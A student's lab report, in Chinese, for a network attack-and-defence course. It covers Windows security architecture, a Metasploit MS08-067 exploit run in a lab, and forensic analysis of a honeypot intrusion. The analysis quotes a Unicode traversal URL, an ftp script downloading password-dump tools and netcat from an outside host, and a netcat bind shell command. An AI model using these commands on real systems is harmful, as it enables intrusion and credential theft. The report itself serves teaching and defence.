20199323 2019-2020-2 《网络攻防实践》第7周作业
1.实践内容
windows操作系统基本框架概述
windows操作系统基本结构
Windows操作系统内核的基本模块:
- Windows执行体:包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务
- Windows内核体:实现底层操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制
- 设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件驱动设备程序,以及文件系统与网络设备驱动程序。
- 硬件抽象层:用于屏蔽Windows内核与平台硬件差异性的底层代码
- indowsGUI内核实现代码:即win32k.sys文件
Windows操作系统在用户态的代码模块则包括如下:
- 系统支持进程:Windows开机自动启动的系统内建服务进程
- 环境子系统服务进程:为运行环境提供支持的服务进程
- 服务进程:通过windows的服务管理机制所启动的一系列系统及网络服务
- 用户应用软件:在用户态执行的各类用户应用软件
- 核心子系统DLL:很多dll动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口
windows操作系统核心机制:
- windows进程和线程管理机制
- Windows内存管理机制:虚拟内存分为系统核心内存区间和用户内存区间
- Windows文件管理机制:NTFS文件管理系统、可执行采用PE格式,主要由Dos头、PE头、分段表、以及具体的代码段和数据段组成。
- Windows注册表管理机制:Windows注册表在系统的全局配置、用户和应用软件配置信息的存储仓库。
- Windows网络管理机制
Windows操作系统安全体系结构与机制
-安全体系结构
windows操作系统基于引用监控器模型来实现基本的对象安全模型。
winlogon进程与LSASS中的Netlogon分别负责windows本地和远程登陆用户的身份认证。
-
windows身份认证机制
安全主体分类:用户、用户组和计算机
winlogon进程、GINA图形化登录窗口与LSASS服务实现本地身份认证;NTLM、kerberos实现网络用户身份认证 -
windows授权与访问控制机制
基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,有SRM作为安全主体访问对象资源时的中介,根据设定的访问控制表进行授权访问。 -
Windows安全审计机制
LSASS服务保存审计策略,SRM在进行对象访问授权时,将审计记录发送给LSASS服务,再由EventLog服务进行写入记录。 -
windows的其他安全机制
安全中心,IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等
Windows远程安全攻防技术
- 远程口令猜测与破解攻击
- 攻击Windows网络服务
- 攻击Windows客户端及用户
Windows本地安全攻防技术
Windows本地特权提升
在攻击者获得Windows系统上的受限用户权限之后,他们讲立即着眼于获得终极特权:Administrator或Local System账户。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升,业内简称为“提权”。Windows系统上进行特权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞。
windows敏感信息窃取
- 技术:windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等
- 防范措施:选择高强度、高防御的口令,使用更安全的加密明文算法
远程控制和后门程序
- 向受控主机中植入第三方的远程控制与后门程序。
- 防范措施:后门检测软件、杀软、rootkitrerealer、IcSword。
Windows消踪灭迹
- 关闭审计功能、清理事件日志
- 防范措施:实现配置好系统审计和网络服务审计功能,日志记录在不可擦除的CDROM上或将日志传输到安全服务器中
2.实践过程
实践一:
使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
1、在kali命令行输入msfconsole,打开msfconsole。
search ms08_067 //search+漏洞名字
use exploit/windows/smb/ms08_067_netapi //使用exploit/windows/smb/ms08_067_netapi作为攻击目标
2、输入show payloads来选择你的攻击模块,set PAYLOAD 3
3、set RHOST 192.168.200.124设置靶机IP,set LHOST 192.168.200.4设置攻击机IP
4、输入exploit开始攻击
5、攻击成功,发现进入了靶机的cmd界面
实践二
自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),问题分析:
攻击者使用了什么破解工具进行攻击?
可以看到攻击的系统的内容。
看117号,可以看到..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1 ,为Unicode编码,所以是Unicode攻击,并且打开了系统启动文件boot.ini
攻击者探测了msadcs.dll的存在
msadcs.dll文件存在RDS漏洞,
很明显这有一个SQL查询语句,用SQL查询语句进行了注入攻击,根据ADM!ROX还有那个mdb我们可以用谷歌查询得知是msadc2.pl工具发起的攻击
攻击者如何使用这个破解工具进入并控制了系统?
从会话1778 -> 80 开始,追踪tcp流发现指令为
cmd /c echo user johna2k > ftpcom,
cmd /c echo hacker2000 > ftpcom
cmd /c echo get samdump.dll > ftpcom
cmd /c echo get pdump.exe > ftpcom
cmd /c echo get nc.exe > ftpcom
cmd /c ftp -s:ftpcom -n www.nether.net
创建了一个ftpcom脚本,并使用 ftp连接www.nether.net,尝试下载 samdump.dll、pdump.exe和nc.exe,可是最后连接失败:
然后攻击者又尝试了几次,直到1106号,成功
执行到1224后,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe,攻击者连接了6969端口,并且获得了访问权限。
攻击者获得系统访问权限后做了什么?
继续追踪之后的
命令有点多,cat yay结果错误,改成type yay.txt,信息收集,返回,访问受限:
执行net users,返回该主机的用户列表
echo Hi, i know that this a ..is a lab server, but patch the holes! 😃 >>README.NOW.Hax0r发了一个 echo 消息到 C 盘根目录文件
net group查看组用户、net localgroup查看本地组用户、以及 net group domain admins失败。然后找msadc目录,解密,失败。放弃,改用SAM口令文件并进行破解的方法。
我们如何防止这样的攻击?
- 及时修补漏洞,对漏洞打上相应的补丁。
- 禁用用不着的 RDS 等服务。
- 防火墙封禁网络内部服务器发起的连接。
- 为 web server 在单独的文件卷上设置虚拟根目录。
- 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
- 使用 IIS Lockdown 和 URLScan 等工具加强 web server。
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
是,他把echo best honeypot i've seen till now :)被写入rfp.txt文件
实践三
任务:
攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。
防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。
前面攻击的过程和实践一一样,在攻击之前打开wireshark,然后攻击,发现许多SMB包,MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的
下图可得攻击机:192.168.200.4,靶机:192.168.200.124,目的地址的端口445,
在攻击机侵入后输入ipconfig,可以在wireshark上查看
3.学习中遇到的问题及解决
- 问题1:一些问题不知道怎么做
- 问题1解决方案:参考了老师发的那几个学习资料
4.实践总结
真正的自己动手实现了一次网络攻防,进行了简单的漏洞攻击和分析。